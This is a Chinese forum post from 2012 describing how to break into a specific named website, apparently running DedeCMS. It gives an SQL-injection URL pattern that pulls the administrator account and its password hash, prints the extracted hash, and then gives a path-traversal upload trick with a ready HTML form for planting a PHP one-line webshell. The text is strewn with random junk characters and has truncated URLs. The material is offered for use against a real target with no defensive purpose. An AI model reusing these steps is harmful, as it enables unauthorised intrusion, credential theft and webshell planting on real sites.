①注入漏洞。1 W4 ~4 o; u+ J8 ]7 q$ b
这站 http://www.political-security.com/
* C* f& ~& M L0 L* K, s$ K- @% K首先访问“/data/admin/ver.txt”页面获取系统最后升级时间，
2 I- T7 e" U7 J$ o; Gwww.political-security.com/data/mysql_error_trace.inc 爆后台5 U, x9 i- Q9 R+ P) R0 g5 ~) W$ i
然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面，如图说明存在该漏洞。/ p' a! {6 S* p$ W6 q, Z( b
然后写上语句
0 p3 g+ F3 k6 ]5 r5 Y$ ?7 v1 Z查看管理员帐号
! A( e& `9 _) P8 @) ahttp://www.political-security.co ... &membergroup=@`; Q2 u I- }$ f! ` W/ [- U3 x
0 k9 }( C% _2 M3 | m
admin * h: F1 ?- W4 m4 i7 r2 v
& T1 S1 x; A+ `+ D% M8 u% v4 Y查看管理员密码, n. G+ K/ \6 y* K9 H
http://www.political-security.co ... &membergroup=@`
2 v) F' m* ^; ^- l) `+ z8 p! A
; T6 L) J7 Z* m p. i1 ~8d29b1ef9f8c5a5af4293 {1 H& j. T; W/ F4 P$ M! Z! r5 J
; K% h& x7 F; O* O+ F查看管理员密码
- a' V n5 r# Q& E- d! o) r9 ]
得到的是19位的，去掉前三位和最后一位，得到管理员的16位MD5# W, J/ L3 h( ]& I p4 K
2 }! }- {# M! `# v6 X8d27 v3 g- n& D4 }3 O( J: R
9b1ef9f8c5a5af42
2 E8 q2 D+ a* U9
8 g R8 k& ^% _7 x; K, v& a. _6 _: H$ I& m* E& w
cmd5没解出来 只好测试第二个方法" z2 `) C& y8 Z3 S
* ^$ g F7 ^# v& a
2 z( o: G# ^. _7 C [7 \9 V% z②上传漏洞：
2 y" u" N |2 L- m0 g
1 o/ k) B# ^4 b' F只要登陆会员中心，然后访问页面链接! U& @5 J$ l5 G* r" |. K" A2 C, e% y
“/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post”& W$ O& I5 y* P
$ Q0 }0 z, b* W* Y如图，说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”7 f- \& J6 W( A7 z* ]7 ^
9 W" H% J' h \" I8 W于是将Php一句话木马扩展名改为“rar”等，利用提交页面upload1.htm
5 n' Y4 p1 C0 z) }6 B. L: g) ^- D. z) N, ~
<form action="http://www.political-security.com/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post" method="post" enctype="multipart/form-data" name="form1"> file:<input name="uploadfile" type="file" /><br> newname:<input name="newname" type="text" value="myfile.Php"/> <button class="button2" type="submit">提交</button><br><br>, s% I5 p# Q* Q$ K" \
或者" z* ~/ }5 S& E0 s( @! x
即可上传成功 |
发表于 2012-9-13 10:56:59
收藏
支持
反对